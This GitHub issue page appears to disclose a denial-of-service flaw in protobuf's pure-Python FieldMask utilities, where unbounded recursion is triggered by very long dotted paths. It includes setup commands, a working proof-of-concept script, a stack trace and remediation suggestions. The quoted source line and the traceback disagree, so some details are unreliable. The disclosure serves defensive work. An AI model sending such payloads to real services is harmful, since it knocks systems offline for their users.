-
Notifications
You must be signed in to change notification settings - Fork 16.1k
Description
Summary:
The Protobuf pure-Python implementation is vulnerable to a severe, unbounded recursion bypass within the FieldMask utility module. An attacker can supply a single FieldMask path consisting of thousands of segments (e.g., "a.a.a.a...") to bypass all standard recursion guards. When a server processes this payload using standard business logic APIs (like Union, Intersect, or CanonicalFormFromMask), the library attempts to build a massive internal tree without any depth checks, triggering a guaranteed RecursionError. This causes a fatal crash and a Remote Denial of Service (DoS) in any application parsing untrusted updates.this vulnerability is completely unbounded. A malicious path can safely glide past standard parser depth limits because the binary and JSON parsers view it as a flat string.
Affected Component: protocolbuffers/protobuf (Python runtime - google/protobuf/internal/field_mask.py)
Version: Current main (up to and including 5.29.0)
Environment Tested:
- Python: 3.10.12 (Pure Python Backend:
PROTOBUF_PYTHON_IMPLEMENTATION=python) - protoc: Official PyPI release 5.29.0
- OS: Ubuntu 22.04 (WSL2)
Technical Description
While standard Protobuf parsing checks current_depth against a limit (usually 100) when encountering nested objects, FieldMask introduces a critical parsing gap between the "Wire State" and the "Application State".
1. The Parsing Blind Spot
On the wire (JSON or Binary), a FieldMask is defined as a repeatable string type. When an attacker sends a message containing:
paths: ["a.a.a.a.a.a...."]
The parser decodes this at Depth 1. The standard security limit of 100 is completely blind to the internal structure of the string, allowing an attacker to pack an arbitrarily deep logic bomb into a tiny (e.g., 2KB) payload.
2. The Missing Guard in FieldMask Utilities
In the official library file field_mask.py, the helper class _FieldMaskTree is responsible for converting these flat validation strings into usable mask structures.
Specifically, the method _AddFieldPaths recursively walks the constructed _FieldMaskTree without tracking recursion depth or checking against sys.getrecursionlimit():
# google/protobuf/internal/field_mask.py: 302
def _AddFieldPaths(node, prefix, field_mask):
"""Adds the field paths descended from node to field_mask."""
if not node and prefix:
field_mask.paths.append(prefix)
return
for name in sorted(node):
if prefix:
child_path = prefix + '.' + name
else:
child_path = name
# VULNERABLE: Direct recursion without depth guard
_AddFieldPaths(node[name], child_path, field_mask)Because there is no depth threshold, an attacker can specify a 2,000-segment string, forcing _AddFieldPaths to recurse 2,000 times. This instantly exhausts Python's default recursion limit (1000) and terminates the worker process.
Attack Scenario
FieldMask is heavily utilized in gRPC and REST APIs that conform to Google's AIP-134 standard for Update operations.
- Remote DoS via Mask Validation: A targeted service allows users to update their profile configurations. To enforce security, the server filters the user's requested
update_maskagainst an internalallowed_fields_maskby calculating their mathematical intersection. - The server receives the attacker's payload (a 1,500-segment string). The payload parses perfectly.
- The developer's backend logic allocates an empty mask and executes the standard
result.Intersect(user_mask, allowed_mask)call. - The Protobuf library parses the malicious string into a tree, intersects it, and recursively collapses it via
_AddFieldPaths. - The Python worker process crashes with a
RecursionError, rendering the API endpoint unavailable.
Reproduction Steps
Environment Setup (WSL/Linux)
To prove this bypass exists in standard production deployments without custom modifications, we can use a pristine virtual environment installing the latest public release.
# Setup pristine venv to ensure pure-python backend
python3 -m venv test_env
source test_env/bin/activate
pip install protobuf==5.29.0
export PROTOBUF_PYTHON_IMPLEMENTATION=pythonPoC: Real-World FieldMask Bypass
Create final_poc.py:
import os
from google.protobuf import field_mask_pb2
from google.protobuf.internal import field_mask
def test_union():
print("--- Real-World FieldMask Unbounded Recursion PoC ---")
# 1. Create a malicous mask that an attacker could provide via an API request.
# Note: Parses beautifully because it's just a flat string!
malicious_path = ".".join(["a"] * 1500)
mask = field_mask_pb2.FieldMask(paths=[malicious_path])
out_mask = field_mask_pb2.FieldMask()
print(f"[*] Attacker payload parsed! Path has {len(malicious_path)} segments.")
print("[*] Server calls official public API: FieldMask.Union()...")
try:
# 2. Trigger standard server-side business logic
mask.Union(mask, out_mask)
print("[-] FAILED: Application survived (Recursion Limit ignored?)")
except RecursionError as e:
print("\n[+] VULNERABILITY CONFIRMED: Real-world crash via RecursionError!")
raise e
if __name__ == '__main__':
test_union()Run the script:
python3 final_poc.pyStack Trace
When executing the real-world PoC on the official Protobuf 5.29.0 release, the RecursionError is triggered precisely at the unguarded _AddFieldPaths transition:
Traceback (most recent call last):
File "/tmp/test_env/lib/python3.10/site-packages/google/protobuf/internal/field_mask.py", line 185, in _AddFieldPaths
for name, child in sorted(node.children.items()):
RecursionError: maximum recursion depth exceeded while calling a Python object
Suggested Remediation
Because FieldMask path depth scales maliciously without increasing the overall parsed object depth, field_mask.py requires its own logic guard to prevent internal DoS.
- Iterative Tree Walking: Rewrite
_AddFieldPaths,IntersectPath, and_MergeMessageto utilize an iterative stack approach rather than direct function recursion. - Explicit Path Depth Limiter: In
_FieldMaskTree.AddPath(self, path), implement an artificial depth ceiling limit (e.g., maximum 100 dot-separated segments) before admitting the path into the tree. Since dot-separated paths effectively constitute message nesting, they should respect the same standard nesting limit (100) strictly enforced globally by the parser.